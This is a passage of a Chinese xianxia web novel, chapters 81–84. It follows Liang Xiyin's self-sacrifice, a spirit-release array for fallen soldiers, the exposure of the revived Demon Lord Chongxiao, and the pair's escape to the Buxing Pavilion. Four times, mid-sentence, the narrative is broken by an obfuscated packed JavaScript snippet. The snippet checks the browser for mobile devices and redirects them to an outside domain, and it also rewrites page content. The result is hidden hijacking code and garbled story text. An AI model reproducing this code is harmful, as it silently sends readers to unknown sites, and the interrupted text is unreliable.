地面上的大阵已隐隐现出雏形。呵,重霄扬起一侧唇角,说不清是在苦笑还是冷笑。玄天封魔阵...他竟不知自己值得被用这般远古大阵对待。 脑中怨气之声无时无刻不再折磨着他,此刻察觉到他的念头,叫嚣得更是疯狂。 “玄天封魔阵罢了,又有何可惧?此刻动手再合适不过了,将他们都杀了,我看谁还能困住你!” “你那般爱她,她却要亲手置你于死地。既然你已存心赴死,何不将她也拉下来陪你?” “破阵还是入阵,皆在你的一念之间。这般容易抉择之事,你还在犹豫什么?动手啊!” 脑中尖厉的声音与外界的嘈杂混在一起,搅得他耳膜震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886484|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛。岂止是耳膜,他浑身都在痛,痛得他甚至都有些麻木了,面上连一丝异样也无。不过好歹是没让怨气在此时再度溢出。 不知是何人的鲜血溅到了他的衣摆上,又融进了那片黑色中。重霄还是没有动,身后的一应事宜他都已安排妥当,就算他死了,这些愿意追随他的魔族也能得到庇护。 一切都已安排好了,唯有他心中的那份情,在多年之后仍是无所依归。 眸中翻涌着万千情绪,重霄深深地注视着她,带着无限的眷恋与不舍,像是要将梁惜因的模样牢牢刻在心间,永生永世都不再忘却。他在心底奢望着,奢望着她能再看他一眼,只要一眼,就够了。 梁惜因却始终双眸紧闭,口中默念着法诀。阵阵金光自她身下浮现,将她映照得不似凡尘中人。 阵,成了。 重霄慢慢垂下头,奢望,到底也就只能是奢望。可想象中的剧痛并没有袭来,相反,他能感受到温暖的灵力在他浑身的经脉间飞速游走着,脑中怨气之声骤歇,周身的疼痛被抚平,一时好似就连灵魂都在被温柔的抚慰着。 不对...不应该是这样...他看向地面上的阵纹,这根本不是什么玄天封魔阵!阵法不知在何时被篡改了。 而能做到这一点的,只有一人。 他猛然抬头,就见一道白色身影自半空中落下。天地都静止了,一切都在离他远去,所有动作皆像是被放慢了无数倍,只余梁惜因的身影在他眸中坠落。 这副场景,出现在他此后无数个午夜梦回。 脑中思绪凝滞,他的身体却已下意识做出了反应,跌跌撞撞地向前跑了几步,伸手将她接入怀中。她的身体很轻,轻到重霄不敢再多使一分力道。他恍然间想起了那年灵泽湖边的紫雾蝶,也是这般轻盈。 可紫雾蝶散了终会再聚,而他如今就算再小心,也唤不回所爱之人。 怀中的躯体再已不似往日那般温暖,连带着重霄的一颗心也似覆满了寒霜,令他几欲窒息。他轻柔地将手搭在她的脉上,却感受不到分毫灵力,所余的,唯有极为微弱的跳动。 仿佛下一秒,就会随风熄灭。 事到如今,他还有何不明白的。梁惜因是在用她的命,来为他谋取一条生路。 “师尊...师尊,为什么,为什么...”心脏绞痛,眼中的泪不受控制地滴落,重霄哽咽着呢喃:“不要、不要抛下弟子,弟子知错了...” 梁惜因想抬手为他拭泪,却根本使不上力来。她面色苍白,瞳孔中除却重霄的倒影,便只剩下了浓浓的不舍。此情此景下,她竟是露出了一个浅淡的笑来。 双唇动了动,可她已是连正常说话的力气都没有了。她轻轻扯了下重霄的衣领,重霄颤抖着将头垂得更低。 可他没等到她说话,却等来了唇角的一个吻。 耳畔一阵嗡鸣,重霄浑身都僵住了,完全没明白刚才发生了什么。怀中的梁惜因弯了弯双眼,用最后的气力对他做了个口型——阿,霄。 泪水流了满面,重霄猝然回神,他将人紧紧按在怀中,一声一声地啜泣着唤道:“阿因,阿因...” 可怀中的爱人,已是再无声息。 81. 渡灵 “咔——”流溢着金芒的护罩在层层冲击之下,终是再也坚持不住,蔓延开了一道道裂痕。阵外的怨气与符文早已窥伺多时,进攻得越发猛烈。 “糟了!”柳甫畅将燕明昭护在身后,杜昱和叶天舟手持长剑,挡在了谢淳身前。 可预想中的攻击并没有落在他们身上,燕明昭睁开紧闭的双眼,就见梁惜因立于前方,抬起的手掌上浮着几枚阵石。那阵石挟着灵力,以千钧之势迅速飞落到地上。在最后一枚阵石落地之时,大地上泛起耀眼的白光。 纯白的光华携着流转的阵纹缓缓上浮,符文触及到白光,顷刻间化为了飞灰。 不止是燕明昭,在场的除了重霄,所有人都目瞪口呆。符阵,就这么破了? 归虚阵外,殷照慢慢停下了布反阵的动作。他在阵这一道上修习多年,面前突然出现的阵法中蕴着极为纯净丰沛的灵力,非修为高深者所不能为。当今修仙界,何时多了这么一号人物? 梁惜时的眸中盈着一层薄泪,“是她,”他对谢既微颤声道,“是阿因。” 任掌门多年的谢既微罕见地露出了这般呆滞的神情,他们当真...可以再见到含盈了? 梁惜因手上动作不停,在布下反阵后,紧接着布了一个渡灵大阵。金芒与白光相合,汹涌的怨气叫嚣着退去。黑雾散尽后,半空中所余的,唯有数道半透明的身躯,他们身形或高或矮、或胖或瘦,但都身披锐甲。铠甲上一丝血污也无,干净极了。 万千将士齐聚于这一方天地间,却并不给人以压迫感,反倒很是亲切。他们注视着最中间的几人,齐齐抱拳施礼。 几人手忙脚乱地互相搀扶着起身回礼。众将士的前方有一面容青涩的少年,正是阿越。他朗声笑着问梁惜因:“这位姐姐,大盛和西朔,最后到底谁打赢了啊?” “是大盛。” 梁惜因本以为大盛的军士会欣喜难掩,可是并没有。他们的表现得极为平静,脸上的笑容比起说是高兴,更像是在欣慰。欣慰战争终于结束了,欣慰他们终是住下了身后的华州城,欣慰自己的战死,到底还是起了些作用... 想来也是,战役的结果、后世的历史如何,都已与他们无关了。他们所求的,唯有安平世。 西朔士兵用撇脚的中原话向大盛军士道喜:“恭喜啊,打这么久终于打赢了。” “有啥子好恭喜的,你当俺想来打仗啊?还不如在村子里头种地呢!” “谁还不是啊,我在家放羊放得好好的,就给抓来打仗了。” 两方军队对视着,闲话声、调侃声、抱怨声不断,笑意在军中蔓延开来。 一笑泯恩仇。 “诶,你们西朔人吃什么长大的,怎么一个两个都那么能打,一拳就能把我挥下马。” “我倒想问你们中原人哪来这么多计谋,打仗不就是打仗吗,硬是给你们整出那么多花样来。” “想知道?那你下辈子投到中原来,跟我做兄弟!” “那我到了下面可得跑快些,好给你当大哥!” 梁惜因唇角含着笑:“诸位,平野一役后,大盛一统两国,天下无战事已有二十余年。” 众将士静默一瞬,不无感慨地道:“好啊,好啊,后世子孙,都是有福之人啊...” “我早就想去中原看看了,这下好了,我是去不成了,但我儿子能去了!” “太好了,这下俺婆娘再也用不着到处逃了,可以安定下来了...” 虚影是流不出泪的,但梁惜因却好似能看到他们面上的泪痕。 一道虚影慢慢飘到了梁惜因身旁,犹豫着要不要向她开口。梁惜因有所察觉,她望向身侧,见是薛恒。 薛恒见她看来,讷讷道:“仙长,可否拜托你一件事?” “何事?”梁惜因已隐隐有了猜测。 “陵州城有一相思乐楼,里头曾有一名唤作识弦的姑娘,可否拜托仙长...替我看看她如今身在何处,过得可好?” 他眸光恳切,梁惜因却注定没法答应他。 她注视着薛恒说:“薛公子,你可知有一支西朔军在平野一战前绕道南下,直取淮、陵两州?” “有所耳闻。”薛恒无暇去想梁惜因是如何知道他姓薛的,心中被不祥之感袭卷,他紧跟着说:“那乐楼...” “被烧毁了。”梁惜因觉得他应该知道真相,“里头的姑娘和西朔的一众军将,全都葬身火海。” 薛恒本就是虚影的身躯晃了晃,好似下一瞬就要彻底随风散去了。 梁惜因顿了顿,又说:“识弦姑娘她...真的很勇敢。” 薛恒不傻,梁惜因话说到这,他已能猜出当时的情况了。他回过身,身形摇晃着向众军士走去,嘴中还在喃喃道:“我得快些去找她了,她说不定还在等我,我怎么能让她一个人呢...” “薛公子。”梁惜因喊住他,重复了当初对识弦说过的话,“有情人自会重逢。” 薛恒微愣,拱手对她行了一礼:“薛某,承仙长吉言。” 明明是天差地别的两个人,可在这一刻,梁惜因却恍然看见识弦的身影与他重叠在了一起。 薛恒回到了军中,众将士的虚影仍浮在半空之上。他们不想走,虽说自上战场那刻起他们就已做好了战死的准备,可死亡真正到来时却又是那般突然。他们还想,再看看如今的人间。 梁惜因怎会料不到他们的想法,她拿出一张空白符纸,咬破手指用血在上面画了一道符。 “诸位,你们若还有未尽的执念,尽可说出来,我们会尽力而为。”梁惜因的声音清楚地传到了每个将士耳中。 两方将士彼此对视着,俱是面露惊喜:“当真?多谢仙长,多谢几位仙长!仙长当真是观音在世!” 他们争先恐后地说着:“俺有个儿子叫刘大平,他要是能平安长大,也早到了该成家的年纪。俺想托几位仙长去看看他过得咋样,他应该还住在淮州城东边的刘家村里。” “我弟弟从战场活着回去了,他以前就老囔囔着要去中原看看,想来也是如愿了。他名唤孟康,几位仙长若是能遇到他,代我打个招呼便好。” “我就是个孤儿,也没什么好牵挂的,就记挂着仗打完了去伯山严大哥家里吃饭来着,这下看来是去不成了。他家就在华州城,还望几位代我齐永成告知他一声,不是我不想去,是实在去不了啊。” “仗打了这么多年,百姓定然苦楚。在下也无别的乞求,只望几位仙长能替我看一看如今百姓生活得如何,战争的余波可有完全消退。” ...... 一声声,一句句,化作团团微光,飞入梁惜因手中的符纸。 江映和不在这,叶天舟便拉着谢淳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不好!快拦住它们!”谢既微大喊。 江映和的那二十道镇符早在渡灵阵起时就撤下了,眼下这怨气没了阻拦,肆无忌惮地向周边的村落席卷而去。各峰峰主和长老都在用自己的方式拦着这些怨气,或是符纸,或是琴音,或是法器。 但仍有部分怨气逮着缝隙流窜了出去,眼看就要扑向不远处的永怀村。千钧一发之际,这股怨气像是突然受到了召唤,疯狂向后退却。 不止是这一股怨气,与众人缠斗着的所有怨气都在同一时刻滞住了,旋即拼命向某一处涌去。 所有人都停下了动作,怔愣地望着那些肆虐的黑雾涌于一处、归于一人。怨气渐渐平息,他们看清了那人的面貌。 他身姿颀长,墨发与玄衣在风中翻飞着,面容更是世间少有的俊美,眉间的“怨”字印记与眼下的两枚痣俱是赤红的朱砂色。他面上没有任何神情,还未被完全纳入体内的怨气缭绕在他周身,更添阴郁诡谲。 空气似乎都冻结了,在场诸人皆是讷讷不能言,被眼前的景象震住了,唯有黄沙仍在随风漫卷。不知过了有多久,终于有人打破冰层:“魔尊重霄!是魔尊重霄!” 82. 识破 一句话有如平湖落石,引得人声一片沸腾。 “魔尊重霄?他不是在两百多年前就死了吗?” “是他,真是他!他是何时活过来的?!” “我便言为何近来封山大阵会出了缺漏,魔族屡有异动,原是他们主子回来了。” “这天下又要大乱了...” 他们多数人都未亲身经历过那两次仙魔大战,但从小所听的各种传闻早已让他们对这个名字埋下了深深的厌恶与恐惧。霎时间,所有修士的武器全都对准了重霄,警惕着他接下来的一举一动。 谢既微是少数几个没有动作的人之一,他眉心紧拧,侧目看向身侧的梁惜时。而梁惜时面上的震惊并不比他少,显然,他也未曾料到重霄的出现。 除了梁惜因,重霄身旁站着的几人全都下意识地后退了几步。 杜昱和叶天舟对视一眼,看到了彼此面上的茫然无措。他们手中仍握着剑,剑尖却是指向地面。 “...什么魔尊?他不是梁师妹的弟弟梁霄吗?”杜昱很懵。 “不知道啊。杜兄,我当真不是在做梦吗?”叶天舟也懵。什么复生魔尊竟在我身边这种事,听上去就不像是真的啊! 燕明昭目光呆滞地问柳甫畅:“梁公子,是魔尊?” “假的吧...”柳甫畅喃喃道。可他心里清楚,重霄眉间的纹样和身侧萦绕的怨气根本做不了假。 谢淳问面色依然平静的梁惜因道:“小师妹,你...早便知晓了?” 梁惜因点头,看向他的眼神中含了一丝歉意。 谢淳不知该做何反应,他从方才起就觉着,小师妹...似乎有哪里不一样了。 “杜昱!还不快过来!”杜昱的师尊冯长老喊道。 杜昱身子一僵,他看了看梁惜因几人,又扭头看了看冯长老,结果不仅没过去,甚至还向梁惜因他们走近了些。 冯长老两眼一翻,险些给他气晕过去。 殷照虽然未语,可望向谢淳几人的目光也是焦急难掩。能不急吗,他一共就四个徒弟,这会儿还全都聚在了那莫名其妙冒出来的魔尊身边。 谢淳三人默了默,全都移开了视线,避免和他眼神接触,并不约而同地与杜昱做出了同样的举动。 殷照:“......”冯长老,你先别急着晕,带他一个再晕。 “魔尊重霄!你是何时活过来的,又到底有何居心?说!”一长老见重霄久无动静,气势汹汹地喊道。 重霄唇角笑意讥讽,两百多年了,这修仙界还真是一点长进也无。 “与你何干。”他淡淡地吐出四个字。 “你!”那长老被他气得哑口无言,深觉丢了面子,“休要狂妄!” 重霄还欲再讥,却觉垂在身侧的手被一团温暖包裹住了。是梁惜因握住了他的手。 重霄的心跳在一瞬间加快了,他侧首注视着他所爱之人,眸中的坚冰已然化作了一滩柔软的水,只要看上一眼,便会深陷其中。 梁惜因面上盈着笑意,“没事的。”她轻声道。 心中的戾气被抚平。是了,重霄环顾了一圈身旁立着的所有人,不论是两百年前还是如今,他从来便不是孤身一人。 “魔尊重霄,你蛊惑我宗弟子,纵手下于秘境外打伤我宗长老,又杀害那么多无辜之人。事到如今,你还有什么好说的!” “于长老。”打断他的不是重霄,也不是他对面站着的任何一人,而是谢既微,“这些事的真相尚且未明,何必急着妄下定论?” 见是掌门发话,于长老心里就算再不甘,也还是闭上了嘴。 与谢既微并肩而立的梁惜时早已按捺不住,他施诀清理了衣领上的血迹,又理了理发丝。见两方不知还要对峙到何时,他直接不顾谢既微的阻拦,向着自家妹妹跑去。 众皆哗然。 “那是哪峰的弟子?不要命了?!” “什么弟子,那位可是沈峰主的师尊,此前一直居于天玑峰侧峰。” “竟是那位吗?那位不是自大战后就修为尽失,久不出峰了吗?” “你们难道不觉着,天璇峰的那位小弟子,长得和梁前辈有几分相像吗?” 梁惜时无暇顾及这些声音,他在靠近梁惜因时放缓了步子,接着紧紧抱住了她,抱着他失而复得的亲人:“阿因...妹妹...” 热泪沾湿了彼此的肩膀,梁惜因回抱住他,抽噎着道:“哥,我好想你,对不起...是我太任性了...” 梁惜时轻抚着她的后背:“没事了,哥哥不怪你,回来就好,回来就好...” 两百多年了,他无时无刻不在思念着的人终是真切地回来了。 看着眼前兄妹相拥的场景,站在梁惜因身旁的重霄一时有些手足无措,竟也跟着唤了声:“哥。” 梁惜时:“......” 心中的伤感与喜悦顿时被冲散大半,他咬牙道:“谁是你哥!”阴魂不散的臭小子! 谢既微也走来了,他注视着梁惜因的面容,只觉恍如隔世,“含盈。”他唤道。 “既微哥。”梁惜因笑着回应。 他们几人是久别重逢其乐融融,其余修士却是完全炸开了锅。两方虽隔着一段距离,但以修仙之人的耳力,想要听清他们的对话并不是什么难事。 “含盈?含盈仙子?她不是在两百多年前就已经...”话说到一半,他就意识到连魔尊重霄都重现于世了,还有什么是不可能的? “难怪...难怪她能布下方才的两重大阵...” “可她不是早就神魂俱散了,怎么可能...?” “谢掌门和梁前辈亲口认下的,还能有假不成?问题难道不该是含盈仙子为何会是殷峰主的小徒弟吗?” 他话音刚落,不少人的目光就落在了殷照身上。段凌轩抱臂对殷照道:“我早便说了她是含盈仙子,你偏不信。” 殷照...殷照只觉五雷轰顶,他似是丢了魂,也不布阵,就这么颤颤巍巍地“飘”到了几人面前,也顾不上什么礼节了,抬起颤抖的手指指着梁惜因,不可置信地问自家掌门道:“含、含、含盈仙子?” 谢既微看向他的目光中带着些许同情,随后坚定地点了点头。 梁惜因歉意地冲他笑了笑:“师尊。” “不不不不不,您可千万别喊我师尊,我受不起,真的受不起。”殷照连连摆着手向后退去,只是这地面本就凹凸不平,他不知踩到了何物,竟是腿一软,直接瘫坐在了地上。 殷照:“......” 他在脑中拼命回忆着梁惜因入宗后自己的所作所为,结果基本都是自己不知跑哪喝酒去了,让几个弟子自行修炼。还有专门用来教导他们,布满了整个天璇峰的迷阵. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900274|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .. 很好,他还是就这么瘫着吧。他当初还惊叹梁惜因天赋奇高,觉着自己捡到宝了。好家伙,人含盈仙子的天赋能不高吗??把师祖收做徒弟,全天下恐怕就他这么一个千古第一人。 殷照瘫了,谢淳三人也没好到哪去,他们虽还站在原地,但俱是双目无神、目瞪口呆,全身僵直地宛若三座破碎的石雕,风一吹就要塌了。他们此前也觉“梁因”这个名字和太师祖的有些像,可天底下为什么当真会有这么巧的事啊?!!谁会把太师祖叫作师妹啊??这一叫还叫了这么多日。 他们彼此对视着,震惊地连一句话都说不出来,满脸骇然。 杜昱和叶天舟嘴巴张大,手中的剑“当啷”一声掉在了地上。 假的吧... “这是做甚?师尊,快请起。”梁惜因连忙对殷照道。 殷照那叫一个欲哭无泪,险些两眼一翻晕过去,快别叫了,他害怕。 有性子急的长老问道:“掌门,含盈仙子和魔尊复生一事,该如何处理?” “方才逸散的怨气又是从何而来,为何会出现在这平野之上?” “还有近来魔族作乱一事,当真与魔尊无关吗?” 谢既微揉了揉眉心,在他抬手的一瞬间,众人立刻恢复了安静。 “先将他们二人带回宗,再商议其余事项。今日之事,任何人不得外传。” - 天璇峰。 峰主们都去开集议了,谢淳和燕明昭、柳甫畅二人围坐在一处,神情是如出一辙的怀疑人生,显然还没缓过来。 燕明昭双手交叠撑着下巴,最先启唇说:“所以事情是怎么变成如今这样的?” 师妹为什么会成了师太祖?师妹的弟弟为什么会是魔尊?师太祖和魔尊又为什么会在一起?老天爷啊... 柳甫畅回道:“这还要去问师、师太祖。” “谁去问?” “......” 两人的视线同时移向了谢淳。 一句话都还没说的谢淳:“......” “行,我去问。”他无奈道。 柳甫畅将手放在他的肩上:“师兄,靠谱。” 燕明昭的神色依然不见轻松,蹙眉道:“也不知师太祖和师尊何时才会回天璇峰来。” - “所以那两人怎么还不出来?”天枢峰上,有等不及的长老问道。 “再等等吧,掌门和梁前辈说要单独问他们二人一些事,迟早会出来的。” 并不是所有长老都去了平野现场,有些长老动作太慢,等赶到天枢峰主殿时,谢既微等人早就离开了。是以一部分人就选择留在殿内候着,结果却被告知梁惜因和重霄死而复生了。 这么一会的功夫,他们到底错过了什么?? 很多人都不相信,连声说是他们认错了,非要亲眼看看这二人才行。这也不能怪他们,毕竟这事怎么听怎么不可思议,两个死了两百多年的人,这下说复生就复生了? “由不得你不信,那可是掌门亲口认下的。” “可是,可是...怎么可能啊...” 就在这时,守在山门口的小童匆匆跑了进来,行礼道:“见过诸位峰主、长老,山下来了很多苍梧宗的人,说是要见掌门。” 殿内众人面面相觑,苍梧宗?这时候来不是添乱吗? 83. 藏身 “你去告诉他们,掌门外出有事,尚未归宗。”沈逍很快反应过来,当即吩咐道。 “是。”小童应声,刚要退出去,白元绪却已携着一批人走入殿内,淡笑道:“谢掌门不是刚出关吗?不知有何急事?” 也亏得这主殿建得极大,这么多人立于其中,竟也丝毫不显拥挤。 见白元绪这般旁若无人,沈逍面露不虞,上前一步道:“不知白掌门此番前来,又是有何急事?” 白元绪笑意不变:“沈峰主见谅,我也是听闻了一件大事,才这般刻不容缓地赶来。”他眸中闪过一丝不易察觉的晦暗,“死而复生的魔尊重霄和含盈仙子,可是被你们藏在了宗中?” 此言一出,无人不惊。 苍梧宗的长老们更是大骇,他们事先压根不知发生了何事,只是跟着白元绪来了玄晖宗。 “魔尊?含盈仙子?怎么可能?”这是他们所有人心中的第一反应。 沈逍暗自握紧了双拳,他知宗内有内鬼,却没料到消息这么快就被传了出去,这完全是要置玄晖宗于不义!这般看来,那内鬼极有可能就藏在去了平野的峰主和长老中,还与苍梧宗关系匪浅。 可...为何是苍梧宗? “此事非同小可,还望沈峰主如实相告。”白元绪看似是在恳请他,实则已然是在逼他回话了。 苍梧宗众长老立在他身后,两方修士隐隐形成对峙之势。 沈逍深吸一口气,正要回话,就见一白发白衣的身影从偏殿中走来,“不知白掌门到来,谢某有失远迎啊。” “谢掌门客气了。”白元绪虽是在回谢既微的话,目光却落在了一旁的青衣身影上。连梁惜时都露面了,看来此事不假。 他将方才的问话又向谢既微重复了一遍。 谢既微并未否认,笑着反问他道:“白掌门是如何得知此事的?” “谢掌门,要想人不知,除非己莫为啊。” “哦?谢某倒不知自己做了何事。魔尊和含盈是复生了没错,但他们二人又岂是谢某想带就能带回宗的?白掌门这般肯定,莫不是暗中得了谁的消息?” 玄晖宗诸人:“......”算了,掌门说什么就是什么吧。 白元绪唇角依旧噙着笑,眸光却微不可察地冷了下来:“谢掌门,莫要顾左右而言他。魔尊与含盈仙子,究竟在何处?” “谢某实属不知啊。白掌门若是不放心,”谢既微一挥袖,“我这玄晖宗任你搜查。” “有谢掌门此言,那白某可就失礼了。”白元绪对身后挥了挥手,“去找。” “不论找没找到人,都还望白掌门将布在山下的封山阵给撤了。”谢既微沉了面色。 白元绪就如没察觉到他语气的转变,含笑回道:“自然。” 封山阵?玄晖宗修士的面上都显出几分不善来,只是碍于两宗掌门都在此处才未多说什么。被困于封山阵中的人是无法通过任何方式离开的,不论是御剑还是布阵。除非修为比布阵之人高,再通过蛮力破阵。 他们从未听闻一个修仙门派在未经其他宗门允许前,就擅自布下封山阵。简直称得上是荒谬,且丝毫不将他们玄晖宗放在眼里。白元绪做事向来深思熟虑,他们不信他没有意识到此举有多莽撞。 可若是意识到了,他为何还要这般做? 不多时,前去搜查的苍梧宗诸人就回来了。“如何?”白元绪问道。 来人恭敬地答道:“回掌门,并未发现二人踪迹。” “怎会?你们可搜仔细了?”白元绪皱了皱眉。 “掌门,我们什么法子都用上了。除却七大主峰,其余侧峰也都去过了,确未发现这二人身影。” 谢既微笑了几声,摊手道:“白掌门,这下你总该信谢某了吧?” 白元绪顿了顿,似在平复呼吸。重霄不在便罢了,连梁惜因也不在,他们就不怕魔尊再弑一次师吗? 纵脑中思绪纷扰,他面上旋即又恢复了那副滴水不漏的笑容:“谢掌门说笑了。今日之事,实属白某叨扰,还望谢掌门见谅。可魔尊复生一事,到底非同小可,关于此事该如何料理,还望谢掌门莫要缺席日后各门派的集议。” “那是自然,不劳白掌门费心。” 白元绪注视着他,眼神中除了笑意,似是还暗藏了些别的东西。少顷,他转过身,对苍梧宗众人道:“走!” 谢既微在他身后高声道:“白掌门,别万了破阵啊,不然你们怕是也出不去。” 他这话就是句废话,只是为了再激一激白元绪。可白元绪就如没意识到他的言下之意,竟还回身对他笑道:“多谢谢掌门,白某记下了。” 待他们走后,谢既微对殿中诸修士摆了摆手:“都回去休息吧,接下来要处理的事只会越来越多。” 有长老纳闷道:“掌门,魔尊和含盈仙子,不是与我们一同回来的吗?” 谢既微面露苦恼,叹道:“他们方才确是与我们一道来的没错,可如今这二人又身在何处,我着实不知啊。” 他这语气再配合上这副神情,霎时便让众人以为这两人是逃脱了,“魔族果然狡诈多端,也不知使了什么法子,竟能这般神不知鬼不觉地离了宗。” “含盈仙子可还与他待在一处?重霄两百年前可是亲手杀了他这位师尊的。” “是啊,那魔尊莫不是想用含盈仙子来挟持我们玄晖宗?” “这般深仇大恨,照理说见了面不该是不死不休吗?可我方才见这二人站在一处,分明和谐得很啊...” “含盈仙子定是被他蛊惑了!那可是魔尊,什么手段都能使得出来!还有宗内的那几名弟子,简直是鬼迷心窍,竟和魔尊搅和在了一起!” “有理,掌门,那几名弟子定要好生盘问一番,尤其是天璇峰的那三人。” “殷峰主,有长老在看你。”席青如戳了戳殷照。 “...啊?”殷照反应迟钝,双目无神地望向她。 席青如:“......无事。”得了,这位到现在还没缓过来呢。 谢既微表态道:“他们今日也累了,这些事容明日再议。” “掌门,可...” “我说了,明日再议。”谢既微语调微沉。 “...是。”那长老讪讪应声。 众人先后出殿,只余梁惜时仍站在原处,“既微,你说阿因现在会在何处?”他问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906998|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢既微宽慰道:“惜时,莫要太忧心。这些年你忧的心,已是够多了。” 梁惜时笑了笑,未再言语。今日之前,他日日夜夜都在怕,怕梁惜因会回不来,怕他这么多年的坚持与等待都只是一场空。可等梁惜因当真回来后,他发现自己还是怕,怕她会难过、受伤,会不习惯这两百年后的世间... 他不觉得忧心有何不好,就是这份忧心,支撑着他一直走到了如今。 殿外狂风乍起,精致的雕花木窗被撞开,窗扇打在墙壁上,嘭嘭作响。 二人对视一眼,面色凝重。今日过后,这修仙界,怕是要变了天了。 - 陵州。 梁惜因与重霄穿梭于人群中,内鬼身份不明,他们自是不会傻到一直留在玄晖宗内,早在白元绪到来前就已布阵离开了。此举也是为了迷惑旁人,看看谁会第一个耐不住性子来向玄晖宗要人。 眼下当务之急是先寻一个容身之处,纸包不住火,他们二人复生的消息,想必已如火舌席卷了整个修仙界了。 重霄紧随着梁惜因,他动了动唇,却没说出话来。他现在该唤她什么?师尊、姐姐、含盈仙子,还是...阿因? 梁惜因蓦地停住了脚步。重霄丝毫没预料到,险些撞上面前的白色身影,连忙刹住了步子。 只见前方小巷中飘出来一个小孩,抬手向梁惜因打了个招呼:“含盈。” 梁惜因一喜:“玄仪子前辈!” 她示意重霄跟上,闪身进了小巷中。 玄仪子浮在半空,笑意盈盈地注视着眼前的故人。梁惜因无端想起在她身为“梁因”时,与玄仪子的那次初见。 她笑着将那句话送还给他:“好久不见。” 她以为的初见,其实早便是重逢。 “前辈是如何得知我们在此处的?” 玄仪子把玩着手中的铜钱:“这天底下,就没有我不知道的事。” “话不多说,”他将铜钱收拢,开了一道阵门,“搜查令马上就要下来了,你们先跟我走。” 二人当即踏入阵中。出阵后,映入眼帘的是一座高楼。楼高百尺,直指云端。玲珑而不乏大气,雅致而不失磅礴。金色的阳光泼洒在琉璃瓦上,流光溢彩。正门的牌匾上,龙飞凤舞地写着三个字——卜星阁。 梁惜因犹豫道:“前辈,你就这般将我们带回来,会不会...” 玄仪子知道她想说什么:“放心,修仙界中,谁会怀疑我这个德高望重的老前辈会将你们二人藏在阁中?” 梁惜因:“...那倒也是。” 她转念一想,留在卜星阁确实是眼下最好的选择。那些修士就算是搜查,也多是在凡间搜查,不会想到竟真的会有宗门胆子大到收留他们二人。即便他们当真连各门派世家也要搜查,也极少会有修士将目光放在位于大盛最西北的卜星阁上。 玄修,一直处于修仙界的边缘位置。 门口并无小童把守,紧闭的木门上刻着一张巨大的星图。玄仪子抬手,将灵力注于其上的几颗星中,这些星星依次亮起,紧接着,整张星图都泛起莹润的白光,像极了夜空的璀璨繁星,大门也随之缓缓而开。 84. 明晰 “师尊。”一面目清秀的男子听到动静,迎上前来。 “经渺,来得正好,给二位客人安排一下住处。”玄仪子对他道。 经渺?梁惜因觉着这人很是面熟,尤其是他那亮极了的双眼,给她一种莫名的熟悉感。 重霄默默向前移了一步,刚好将她的视线挡住了一半。 梁惜因:“......?” 玄仪子压了压上翘的唇角,说:“含盈,你之前和经渺是见过的。” 经渺似是有些窘迫:“师尊,这事还是别提了。” 她见过吗?梁惜因正欲再问,脑海中却骤然闪过一副画面,她脱口道:“是你!” 那时她刚回来没几日,第一次从梁府中溜出去,再回去的路上曾碰到过一个算命的。彼时她见这人蓬头垢面,以为不过是招摇撞骗的,自然也将他那几句话当作了疯言疯语。现在想想,原来有些事,自那时就已初现端倪。 “怪我眼拙,竟是没在第一时间认出来。”梁惜因含笑道。 经渺汗颜:“前辈言重了。” 玄仪子显然并不打算放过他这位徒弟:“别说是你了,换作是我也认不出他来。我这徒弟什么都好,就是不能喝酒,一喝酒就喜欢跑到凡间去给人算卦,也不知是跟谁学的。” 经渺:“......” 梁惜因:“......” 玄仪子:“?” “都看着我作甚?” “...没什么。”梁惜因把视线移开,跟谁学的不知道,但前辈你喝酒后也确实喜欢到处逮人算卦。 经渺生怕玄仪子再说出什么惊人之语,忙向他们道:“二位,请跟我来吧。” 经渺带他们去的是一间客房,他把路带到后便退了出去,顺带将门也关上了。 房间布置的很简洁,也很用心。每一个物件瞧着都有不少年头了,其上积淀的不是灰尘,而是厚重的岁月。窗边放着一盆无忧花,芳香幽幽,沁人心脾。 房间内只有一张床,梁惜因并不在意,他们能不能在这待到晚上还需另说。但好歹暂时是有个栖身之处了,也有时间去处理一些事了。 “师尊,弟子万死。”重霄跪在她身前。 